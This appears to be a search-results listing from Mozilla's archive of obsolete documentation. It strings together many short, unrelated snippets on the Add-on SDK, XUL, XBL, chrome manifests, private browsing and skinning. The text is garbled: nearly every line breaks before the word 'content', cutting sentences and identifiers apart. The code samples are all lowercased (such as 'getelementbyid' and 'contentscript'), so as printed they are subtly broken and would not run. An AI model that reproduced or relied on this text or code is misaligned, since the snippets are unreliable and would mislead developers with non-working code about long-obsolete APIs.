content process was supposed to run all the code associated with a single tab.
...neither
content or add-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind.
... to understand this article, it's probably best to read it as if
content and add-on processes actually exist.
Guides - Archive of obsolete content
content processes the sdk was designed to work in an environment where the code to manipulate web
content runs in a different process from the main add-on code.
...
content scripts guide an overview of
content scripts, including: what they are, what they can do, how to load them, how to communicate with them.
... two types of scripts this article explains the differences between the apis available to your main add-on code and those available to
content scripts.
private-browsing - Archive of obsolete content
er windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belong to private browser windows the page-mod module will not attach
content scripts to documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows add-ons that have opted in will see private windows, so they will need to use the private-browsing module to check whether objects are private, so as to av...
...require("simple-storage"); if (!simplestorage.storage.titles) simplestorage.storage.titles = []; require("tabs").on("ready", function(tab) { if (!require("sdk/private-browsing").isprivate(tab)) { console.log("storing..."); simplestorage.storage.titles.push(tab.title); } else { console.log("not storing, private data"); } }); here's an add-on that uses a page-mod to log the
content of pages loaded by the user, unless the page is private.
... in the handler for the page-mod's attach event, it passes the worker into isprivate(): var pagemod = require("sdk/page-mod"); var privatebrowsing = require("sdk/private-browsing"); var loggingscript = "self.port.on('log-
content', function() {" + " console.log(document.body.innerhtml);" + "});"; function logpublicpage
content(worker) { if (privatebrowsing.isprivate(worker)) { console.log("private window, doing nothing"); } else { worker.port.emit("log-
content"); } } pagemod.pagemod({ include: "*",
contentscript: loggingscript, onattach: logpublicpage
content }); tracking private-browsing exit sometimes it can be useful to cache some data from private windows while they are open, as long as you don't store it after the private brow...
net/url - Archive of obsolete content
experimental enables you to read
content from a uri.
... charset string the character set to use when read the
content of the uri given.
... returns promise : the promise that will be resolved with the
content of the url given.
Release notes - Archive of obsolete content
added
contentstyle and
contentstylefile options to panel.
... changes in the way
content scripts share objects with page scripts.
...
content scripts in page-mod get detach events when the add-on is disabled or removed.
package.json - Archive of obsolete content
when using jpm, using a relative path to the data directory (to make it re-usable for add-on html
content) does not work.
... cross-domain-
content: a list of domains for which
content scripts are given cross-domain privileges to access
content in iframes or to make xmlhttprequests.
... see the documentation for enabling cross-domain
content scripts.
List Open Tabs - Archive of obsolete content
you'll see output in the command line console that looks something like this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any
content hosted in the tab.
... to access tab
content, you need to attach a script to the tab using tab.attach().
...the script adds a red border to the tab's document: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) runscript(tab); } function runscript(tab) { tab.attach({
contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Listen for Page Load - Archive of obsolete content
you don't get direct access to any
content hosted in the tab.
... to access tab
content you need to attach a script to the tab using tab.attach().
...the script adds a red border to the tab's document: require("sdk/tabs").on("ready", runscript); function runscript(tab) { tab.attach({
contentscript: "if (document.body) document.body.style.border = '5px solid red';" }); } (this example is only to show the idea: to implement something like this, you should instead use page-mod, and specify "*" as the match-pattern.) learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Open a Web Page - Archive of obsolete content
the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any
content hosted in the tab.
... to access tab
content you need to attach a script to the tab using tab.attach().
... this add-on loads a page, then attaches a script to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.attach({
contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Tutorials - Archive of obsolete content
interact with the browser open a web page open a web page in a new browser tab or window using the tabs module, and access its
content.
... listen for page load use the tabs module to get notified when new web pages are loaded, and access their
content.
... get the list of open tabs use the tabs module to iterate through the currently open tabs, and access their
content.
Add-on SDK - Archive of obsolete content
guides contributor's guide learn how to start contributing to the sdk and about the most important idioms used in the sdk code such as modules, classes and inheritance, private properties, and
content processes.
...
content scripts a detailed guide to working with
content scripts.
... sdk idioms the sdk's event framework and the distinction between add-on scripts and
content scripts.
Bootstrapped extensions - Archive of obsolete content
notes on modifying the application user interface chrome.manifest in bootstrapped add-ons you can use a chrome.manifest file in bootstrapped add-ons to: make your add-on's
content available via a chrome:// url (using the
content, locale, and skin instructions in the manifest).
... replace existing chrome:// uris with your
content (using the override instruction).
...st add xmlns attribute to html tag for example: <html xmlns="http://www.w3.org/1999/xhtml"> if you have multiple dtd files read on here: using multiple dtds the bare minimum needed is: file: install.rdf file: chrome.manifest file: bootstrap.js folder: locale folder: valid_locale_here file: anything.dtd the chrome.manifest file must include a definition for
content for example:
content name_of_your_addon ./ the chrome.manifest file must also include a line pointing to the locale, just like in the above property section, if you had a folder named en-us in locale, the chrome.manifest file should contain: locale name_of_your_addon en-us locale/ here is an example add-on that opens an html page and a xul page on install: github :: l10n-xhtml-xul.
File I/O - Archive of obsolete content
// you can read it into a string with var data = netutil.readinputstreamtostring(inputstream, inputstream.available()); }); read with
content type hint it's useful to provide a
content type hint to prevent the file system from doing a potentially expensive
content type look up (which would be synchronous i/o).
... in this case an nsichannel object has to be explicitly created from the file: components.utils.import("resource://gre/modules/netutil.jsm"); //
content type hint is useful on mobile platforms where the filesystem // would otherwise try to determine the
content type.
... var channel = netutil.newchannel(file); channel.
contenttype = "application/json"; netutil.asyncfetch(channel, function(inputstream, status) { ...
Finding window handles - Archive of obsolete content
web
content windows (in tabs) do not have their own hwnds.
... finding the
content window handle hwnd h
content = 0; // first we need to find the main browser window hwnd hff = ::findwindowex(0, 0, "mozillauiwindowclass", 0); if (hff) { // next we step down through a fixed structure hwnd htemp; htemp = ::findwindowex(hff, 0, "mozillawindowclass", 0); htemp = ::findwindowex(htemp, 0, "mozillawindowclass", 0); // assume only 1 window at this level has childre...
... // that child is hopefully the
content window if (htemp) { htemp = ::getwindow(htemp, gw_child); h
content = ::findwindowex(htemp, 0, "mozilla
contentwindowclass", 0); } } // at this point h
content is null or the
content window hwnd i am not sure how "fragile" the assumptions are about the window structure, but it matched the values i got from spy++.
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window themselves: <script type="application/javascript" src="chrome://global/
content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
... outerwindowid (optional) the outerwindowid of the
content window containing the document that we want to view the source of.
... adocument (optional) the
content document that we're attempting to load the source from.
Inline options - Archive of obsolete content
see mxr for what all this holds: http://mxr.mozilla.org/mozilla-release/source/toolkit/mozapps/extensions/
content/setting.xml for example you can fire this.inputchanged() etc etc.
...this requires that you register a
content path in the chrome.manifest.
... you must also specify the optionstype as 2: <em:optionsurl>chrome://myaddon/
content/name_of_my_file_to_use_for_inline_opts.xul</em:optionsurl> <em:optionstype>2</em:optionstype> your chrome.manifest file should contain the following, otherwise the path chrome://myaddon/
content/name_of_my_file_to_use_for_inline_opts.xul will not exist
content myaddon ./ this method allows you to maintain compatibility with previous versions of firefox by adding an override to your chrome.manifest: ...
Getting Started with Firefox Extensions - Archive of obsolete content
the mozilla add-ons repository (amo) holds an extensive number of extensions with a wide variety of functions:
content filtering (adblock plus, noscript), web application interaction (delicious bookmarks, ebay companion) and web development (dom inspector, firebug).
... extension
contents you may have noticed that the extension file you installed is named xulschoolhello1.xpi.
... you should see the following directory structure: xulschoolhello1 chrome.manifest install.rdf
content browseroverlay.xul browseroverlay.js skin browseroverlay.css locale en-us browseroverlay.dtd browseroverlay.properties that's lots of files for something so simple!
Setting Up a Development Environment - Archive of obsolete content
ultimately you can just compress the
contents of the src directory using any zip or archive tool and get a similar result.
... adding: install.rdf (deflated 50%) adding: chrome.manifest (deflated 50%) adding:
content/browseroverlay.js (deflated 42%) adding:
content/browseroverlay.xul (deflated 69%) adding: skin/browseroverlay.css (stored 0%) adding: locale/browseroverlay.dtd (deflated 52%) adding: locale/browseroverlay.properties (stored 0%) creating xpi file.
...you can do this by opening the automator application, choosing run shell script and then entering the profile-loading script in the textbox: /applications/firefox.app/
contents/macos/firefox-bin -no-remote -p myprofile > /dev/null & you can change "/dev/null" to a file location, in case you want to see dump output from firefox, or other extensions.
XPCOM Objects - Archive of obsolete content
(your build will probably break, we'll cover this later on.) in the components directory, the file xsihellocounter.idl has the following
contents: #include "nsisupports.idl" /** * counter for the hello world extension.
...one common use for this service is registering a component as a
content policy.
...lf and unregisterself methods: registerself : function(acompmgr, alocation, aloaderstr, atype) { let categorymanager = cc[@mozilla.org/categorymanager;1].getservice(ci.nsicategorymanager); acompmgr.queryinterface(ci.nsicomponentregistrar); acompmgr.registerfactorylocation( class_id, class_name, contract_id, alocation, aloaderstr, atype); categorymanager.addcategoryentry( "
content-policy", "xulschool hello world", contract_id, true, true); }, in this case the component would need to implement nsi
contentpolicy.
XUL School Tutorial - Archive of obsolete content
while firefox changes rapidly, the
content in this tutorial should be up to date and valid.
...tensions the essentials of an extension setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote
content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix...
...its
contents have been modified from the original source as necessary.
Performance best practices in extensions - Archive of obsolete content
that means every time a window opens, your extension can have an impact on how long it takes the user to see the
content they're trying to view.
... there are several things you can do to reduce the amount of time your extension delays the appearance of the user's desired
content.
... as well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the
contents of about:memory for any excessive memory usage.
Extensions support in SeaMonkey 2 - Archive of obsolete content
some urls are listed below: url in firefox url in seamonkey overlays chrome://browser/
content/browser.xul chrome://navigator/
content/navigator.xul main browser window chrome://browser/
content/pageinfo/pageinfo.xul chrome://navigator/
content/pageinfo/pageinfo.xul page info window chrome://browser/
content/preferences/permissions.xul chrome://communicator/
content/permis...onsmanager.xul permissions manager dialog ...
... urls added in 2.1 url in firefox url in seamonkey chrome://browser/
content/bookmarks/bookmarkspanel.xul chrome://communicator/
content/bookmarks/bm-panel.xul chrome://browser/
content/places/places.xul chrome://communicator/
content/bookma...rksmanager.xul thunderbird uses mostly the same chrome urls for overlaying as seamonkey.
...you can use the application flag to select which overlay should be used with which application: overlay chrome://browser/
content/browser.xul chrome://myaddon/
content/ffoverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} overlay chrome://messenger/
content/mailwindowoverlay.xul chrome://myaddon/
content/tboverlay.xul application={3550f703-e582-4d05-9a08-453d09bdfdc6} overlay chrome://navigator/
content/navigator.xul chrome://myaddon/
content/smoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} ...
Signing an XPI - Archive of obsolete content
extract the
contents of the archive file to a local folder.
...extract the
contents of the archive file to a local folder.
... /dev/fsb/build.bat /dev/fsb/install.rdf /dev/fsb/chrome.manifest /dev/fsb/chrome/ /dev/fsb/chrome/
content/ /dev/fsb/chrome/locale/ /dev/fsb/chrome/skin/ here it is with the code-signing steps included: @echo off set x=%cd% echo building %x%.xpi ...
Firefox addons developer guide - Archive of obsolete content
there should be some introductory text on the table of
contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide obviously there are a number of fixme items in the
content that need dealing with, but those are already known.
... each chapter should be tagged appropriately, based on
content, and every chapter should include the tag "firefox addons developer guide".
... opinions: i think we should be careful about adding new
contents to this guide.
Adding preferences to an extension - Archive of obsolete content
however, we do need to add one new line to the install.rdf file: <em:optionsurl>chrome://stockwatcher2/
content/options.xul</em:optionsurl> this line establishes the url of the xul file that describes the options dialog.
...this lets the preference value automatically be updated to reflect the
content of the textbox.
... « previousnext » override chrome://myaddon/
content/options.xul chrome://myaddon/
content/oldoptions.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} appversion<=6.* examples github - gist :: _ff-addon-template-bootstrapprefsskeleton - this gist here is a fully working example of a fully funcitonal preferences skeleton, it uses the observer example from above.
XML data - Archive of obsolete content
other technologies can modify the structure of the display—for example, xbl can add
content, and javascript can modify the dom.
...copy and paste the
content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <!-- xml demonstration --> <?xml-stylesheet type="text/css" href="style9.css"?> <!doctype planet> <planet> <ocean> <name>arctic</name> <area>13,000</area> <depth>1,200</depth> </ocean> <ocean> <name>atlantic</name> <area>87,000</area> <depth>3,900</depth> </ocean> <ocean> <name>pacific</name> <area>180,000</area> <depth>4,000</depth> </ocean> <ocean> <name>indian</name> <area>75,000</area> <depth>3,900</depth> </ocean> <ocean> <name>southern</name> <area>20,000</area> <depth>4,500</depth> </ocean> </planet> make a new css file, style9...
...copy and paste the
content from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%;
content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em; background-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px solid #cdf; padding: 0px 1em; background-color: white; } ocean { display: block; margin-bottom: 1em; } name { display: block; font-weight: bold; font-size: 150%; } area { display: block; } area:before {
content: "area: "; } area:after {
content: " million km\b2"; } depth { display: block; } depth:before {
content: "mean depth: "; } depth:after {
content: " m"; } open the ...
XUL user interfaces - Archive of obsolete content
copy and paste the
content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demo...
...copy and paste the
content from here, making sure that you scroll to get all of it: /*** xul demonstration ***/ window { -moz-box-align: start; background-color: -moz-dialog; font: -moz-dialog; padding: 2em; } .head-1 { font-weight: bold; font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { margin-bottom: 1em; } .demo-group column { ma...
...copy and paste the
content from here, making sure that you scroll to get all of it: // xul demonstration var datebox, daybox, currentday, status; // elements // called by window onload function init() { datebox = document.getelementbyid("date-text") daybox = document.getelementbyid("day-box") status = document.getelementbyid("status") settoday(); } // called by clear button function cleardate() { datebox.v...
List of Mozilla-Based Applications - Archive of obsolete content
abstract accounting tool adobe acrobat and adobe reader portable document format (pdf) software uses mozilla spidermonkey adobe flash player popular browser plug-in uses nss in linux version adwatch
content management system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascript gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by default, b...
... couac (fr) web-based email and jabber app couchdb document-oriented database uses spidermonkey courtanet benefit (fr) underwriting software for french insurance brokers crosscheck browserless testing framework uses mozilla rhino crowbar server tool cycloctopus screen scraping console cyclone3
content management system danger mobile platform uses gecko on the server side -- no longer active?
... dogtag certificate system uses nss dojo javascript toolkit uses mozilla rhino in shrinksafe eclipse platform open development platform the ajax toolkit framework, standard widget toolkit and eclipsemozilla projects make use of mozilla elixon wcms/xul web
content management system fully remote xul wcms (no need to install extensions).
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/
content to directory containing quit.js and quit.xul example:
content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/
content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_...
...dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/
content/quit.xul<code> the above process may exit before the profile is completely created.
... the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/
content/ above code calls the quit function in quit.js to exit after test is finished how to detect
content onload event from chrome use the dom
contentloaded event chromewindow.addeventlistener('dom
contentloaded',callbackfunction,false); ...
Creating a Mozilla Extension - Archive of obsolete content
warning: the
content of this article may be out of date.
...
contents prerequisites tinderbox making a mozilla installation modifiable finding the file to modify finding the code to modify adding the structure specifying the appearance enabling the behavior - retrieving tinderbox status enabling the behavior - updating the status bar panel enabling the behavior - updating the status periodically making it into a static overlay making it into a dynami...
...c overlay and packaging it up for distribution conclusion next » original document information author(s): myk melez last updated date: september 19, 2006 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Drag and Drop JavaScript Wrapper - Archive of obsolete content
this drag and drop interface is stored in the global package, in the file chrome://global/
content/nsdraganddrop.js.
...you can look at the
contents of these files to see how drag and drop is done at a lower level.
...<script src="chrome://global/
content/nsdraganddrop.js" /> <script src="chrome://global/
content/nstransferable.js" /> this drag and drop library creates an object stored in the variable nsdraganddrop.
slideBar - Archive of obsolete content
when a slidebar feature is selected its
contents will be revealed from behind the current webpage.
... iconhref oficon to show in the slidebaruri htmlhtml
content for the featurehtml/xml urlurl to load
content for the featureuri widthwidth of the
content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload
content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", ...
... width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/
content/icon48.png"; }}); ...
Makefile.mozextension.2 - Archive of obsolete content
either remove (clean it), or choose individual targets to build."; exit 1; } @echo $(mkdir) $(project) $(mkdir) $(project)/
content $(project)/locale $(project)/locale/en-us $(project)/components/ $(project)/defaults/ $(project)/defaults/preferences/ $(project)/locale/de-de $(project)/skin make_xpi: $(mkdir) $(project)/chrome && \ cd $(project) && \ $(zipprog) -r chrome/$(project).jar
content locale skin && \ $(zipprog) -r $(project).xpi chrome.manifest install.rdf components defaults chrome && cd ..
...real_install: $(cp) chrome/$(project).jar ~/.mozilla/default/32p27fdr.slt/chrome/ #################################### ###### define chrome_manifest
content $(project)
content/ overlay chrome://browser/
content/browser.xul chrome://$(project)/
content/overlay.xul locale $(project) en-us locale/ skin $(project) classic/1.0 skin/ style chrome://global/
content/customizetoolbar.xul chrome://$(project)/skin/overlay.css endef export chrome_manifest chrome.manifest: @echo generating $(project)/chrome.manifest @echo "$$chrome_manifest" > $(project)/chrome.manifest ###### #firefox {ec8030f7-c20a-464f-9b0e-13a3a9e973...
...a.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepageurl>http://$(project).mozdev.org/</homepageurl> <optionsurl>chrome://$(project)/
content/settings.xul</optionsurl> <abouturl>chrome://$(project)/
content/about.xul</abouturl> <iconurl>chrome://$(project)/skin/mainicon.png</iconurl> <updateurl>http://$(project).mozdev.org/update.rdf</updateurl> <type>2</type> <targetapplication> <description> <id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</id> <minversion>2.0</minversion> <maxversion>9.0</maxversion> </description> </targ...
Microsummary topics - Archive of obsolete content
differentiating between user-initiated and microsummary-related requests when firefox updates a microsummary generated by a microsummary generator add-on, it automatically downloads the html
content of the page being summarized.
... it does not generally download related
content like embedded images and javascript scripts referenced by the page.
... controlling the frequency of microsummary requests when firefox downloads
content in order to update a microsummary, it honors cache-related http response headers.
Scripting - Archive of obsolete content
methods of the window.platform object can be called from webapp.js or from web
content.
... the following code can be used by web
content to determine whether it is running in prism: if ("platform" in window) { // prism-specific code goes here } see the nsiplatformglue idl definition file for details of the methods available to prism apps.
...it means that the script has a higher level of privilege than scripts in the web
content and has access to the file system, clipboard and other parts of the native os.
Same origin policy for XBL - Archive of obsolete content
the same origin policy used for xbl documents is different from the policy used for other
content.
...a
content policy check is performed.
...note that step 2 already denied the load attempt for cases in which the chrome: uri isn't accessible to untrusted
content.
Standalone XPCOM - Archive of obsolete content
warning: the
content of this article may be out of date.
...the
contents of this standalone xpcom in general are: nspr : mozilla/nsprpub xpcom : mozilla/xpcom note 1: xpcom apis are not frozen yet.
... api freeze and documentation original document information author: suresh duddi last updated date: 15 may 2000 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Supporting private browsing mode - Archive of obsolete content
note: private browsing mode may only be detected by chrome code, such as extensions; web
content cannot detect whether or not private browsing is in effect.
... this allows us to, for example, work with the places database without affecting its
contents.
... the
content of pages the user has visited.
URIs and URLs - Archive of obsolete content
warning: the
content of this article may be out of date.
...thus, a resource can remain constant even when its
content---the entities to which it currently corresponds---changes over time, provided that the conceptual mapping is not changed in the process.
... original document information author(s): andreas otte last updated date: january 2, 2002 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Venkman Introduction - Archive of obsolete content
warning: the
content of this article may be out of date.
...while in pretty print mode, the
contents of the source view will contain the decompiled source text for the selected function.
... using file->open from venkman will open a local file in the debugger, and using file->open web location will open and display the entire html
contents of the requested page.
XBL 1.0 Reference - Archive of obsolete content
bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous
content that is inserted around the bound element.
... bindings binding
content children implementation constructor destructor field property getter setter method parameter body handlers handler resources stylesheet image binding attachment and detachment attachment using css attachment using element.style property <constructor> call <destructor> call binding documents dom interfaces the nsidomdocumentxbl interface anonymous
content introduction scoping and acc...
...ess using the dom
content generation rules for generation attribute forwarding insertion points <children> handling dom changes event flow and targeting flow and targeting across scopes focus and blur events mouseover and mouseout events anonymous
content and css selectors and scopes binding stylesheets binding implementations introduction methods properties inheritance of implementations event handlers example - sticky notes updated and adjusted for the current firefox implementation.
XML in Mozilla - Archive of obsolete content
the code for most the core xml can be found in the following directories on the mozilla mercurial repository:
content/xml/, parser/expat/ and parser/htmlparser/.
...most of the core xml test documents on the mercurial repository are located in
content/xml/tests.
... we also have a couple online: the books demo and the irs table of
contents demo.
XTech 2005 Presentations - Archive of obsolete content
these include plans to expose the rdf api to public web
content, as well as performance and correctness improvements.
...to realize this potential in web applications, browsers must expose rich new graphics apis to web
content.
...this work provides additional benefits to web developers such as the ability to apply svg effects to html
content.
state - Archive of obsolete content
« xul reference home state type: one of the values below indicates whether the splitter has collapsed
content or not.
... open the
content either before or after the splitter, depending on the value of the collapsed attribute, is currently displayed.
... collapsed the
content either before or after the splitter is collapsed and is not visible.
treecell.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the
contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">.
...when the user double-clicks an editable cell, a text field appears in which the user can edit the
contents of the cell.
...the tree must be a
content tree for this to work on treecells.
XUL Events - Archive of obsolete content
attribute: ondblclick dommousescroll this event is sent when the mouse wheel is moved, whether it results in
content being scrolled or not.
...when there is not enough space to display the
contents of the element at full size, the overflow event will be fired.
...this handler is usually used to dynamically set the
contents when the user requests to display it.
Tooltips - Archive of obsolete content
the tooltip can be created using the tooltip element, the
contents of which appear inside the tooltip.
... thus, there are two ways to set a tooltip for an element, using the tooltiptext attribute for labels and the tooltip attribute for more complex
content.
... note that when using a specialized tooltip element, any labels used inside it are not populated based on what the tooltip applies to, so you may need to set the
content in a tooltip if you wish to use the same tooltip for several elements.
Attribute Substitution - Archive of obsolete content
it may be desirable to have longer text wrap by placing it as the
content of a description element.
...however, the textnode element is not copied into the generated
content, but instead a dom text node is created with the value of the value attribute as its
contents.
... for instance, if the template contained: <description><textnode value="?description"/></description> the resulting generated
content might be: <description>view from the top of the tower looking east of the doges palace</description> note that the textnode has been replaced with the substituted value attribute.
Building Hierarchical Trees - Archive of obsolete content
this works just like with recursive generation using the
content builder.
...here is an example for the streets datasource: <tree flex="1" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-
content" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <treecols> <treecol id="address" primary="true" label="address" flex="1"/> <treecol id="floors" label="floors" flex="1"/> </treecols> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://www.xul...
... <tree datasources="people2.xml" ref="*" querytype="xml" rows="10" flags="dont-build-
content"> <treecols> <treecol id="name" primary="true" label="name" flex="1"/> </treecols> <template> <query expr="*"/> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?name"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> « previousnext » ...
Multiple Rule Example - Archive of obsolete content
this is useful if you wish to hide any
content that would be needed to display the description.
... <vbox id="photoslist" align="start" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/date" object="?date"/> </conditions> <action> <hbox uri="?photo" class="box-padded"> <vbox>...
... <label value="?title"/> <image src="?photo"/> </vbox> <groupbox> <caption label="photo details"/> <label value="?description"/> <label value="date: ?date"/> </groupbox> </hbox> </action> </rule> <rule> <conditions> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?phototitle"/> </conditions> <action> <vbox uri="?photo" class="box-padded"> <label value="?phototitle"/> <image src="?photo"/> </vbox> </action> </rule> </template> </vbox> in this example, the first rule...
Result Generation - Archive of obsolete content
these become the results and
content would be generated for each of these results.
...during query processing, the template builder builds up a network of information such as: possible results that are available where
content should be generated information that indicates what to do when the rdf datasource changes this network of information remains for the lifetime of the template, or until it is rebuilt.
...the matches are the endpoints and will cause
content to be generated.
The Joy of XUL - Archive of obsolete content
xul provides a clear separation among the client application definition and programmatic logic ("
content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files).
...with xbl, developers can define new
content for xul widgets, add additional event handlers to a xul widget, and add new interface properties and methods.
... overlays overlays are xul files used to describe extra
content for the ui.
Code Samples - Archive of obsolete content
change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" document .getelementbyid("
content") .webnavigation .loaduri(url, 0, null, null, null) if your button is in thunderbird or sunbird, use code like this to open a web page.
...here are the names and uris of some windows: thunderbird configuration const name = "preferences:configmanager" const uri = "chrome://global/
content/config.xul" passwords const name = "toolkit:passwordmanager" const uri = chrome://messenger/
content/preferenc...wpasswords.xul" mail & newsgroups const name = "mail:3pane" const uri = "chrome://messenger/
content/" sunbird passwords* const name = "toolkit:passwordmanager" const uri = "chrom...
...e://passwordmgr/
content/passwordmanager.xul" seamonkey navigator const name = "navigator:browser" const uri = "chrome://navigator/
content/" mail & newsgroups const name = "mail:3pane" const uri = "chrome://messenger/
content/" composer const name = "composer:html" const uri = "chrome://editor/
content/" address book const name = "mail:addressbook" const uri = "chrome://messenger/
content/addressbo...ddressbook.xul" irc chat const name = "irc:chatzilla" const uri = "chrome://chatzilla/
content/" calendar const name = "calendarmainwindow" const uri = "chrome://calendar/
content/" * at the tim...
Creating a Skin - Archive of obsolete content
or, you can temporarily place it in the
content directory and refer to it using a stylesheet directive.
... copy a manifest file (
contents.rdf) from the classic or modern skin into this new directory.
... window > box { background-color: #0088cc; } menubar,menupopup,toolbar,tabpanels { background-color: lightblue; border-top: 1px solid white; border-bottom: 1px solid #666666; border-left: 1px solid white; border-right: 1px solid #666666; } caption { background-color: lightblue; } the inner box of the window (which actually surrounds all of the window
content) has been changed to have a medium blue color.
Creating a Wizard - Archive of obsolete content
the
content of the wizard element includes the
content of each page of the wizard.
...you can place whatever
content you want inside each wizardpage.
...a typical layout will include a title across the top, a set of navigation buttons across the bottom and the page
contents in between.
Creating an Installer - Archive of obsolete content
you can use this object in local or remote
content, meaning that it is suitable for a download from a web site.
... our find files example for the find files dialog, we'll create a structure in the archive much like the following: install.js findfile
content contents.rdf findfile.xul findfile.js skin
contents.rdf findfile.css locale
contents.rdf findfile.dtd a directory has been added for each part of the package, the
content, the skin and the locale.
... the
contents.rdf files have also been added because they will be needed to register the chrome files.
Element Positioning - Archive of obsolete content
an element will generally be as large as it needs to be to hold its
contents, and no larger.
...the third button is larger because it contains more
content.
...they simply obey their specified widths and heights, and if the size wasn't specified, the element's default size is just large enough to fit the
contents.
Modifying the Default Skin - Archive of obsolete content
« previousnext » as of firefox 69, you must set the toolkit.legacyuserprofilecustomizations.stylesheets preference to true in about:config in order to load userchrome.css or user
content.css files.
...the file 'user
content.css' customizes web pages, whereas 'userchrome.css' customizes chrome files.
...you should avoid putting references to images directly in xul files if you want your
content to be skinnable.
RDF Datasources - Archive of obsolete content
resources name http://home.netscape.com/nc-rdf#name name of the file url http://home.netscape.com/nc-rdf#url url of the file
content-length http://home.netscape.com/nc-rdf#
content-length the length of the file.
...you can use rules to match specific types of
content.
...because rule one has no
content, nothing will be displayed for these ones.
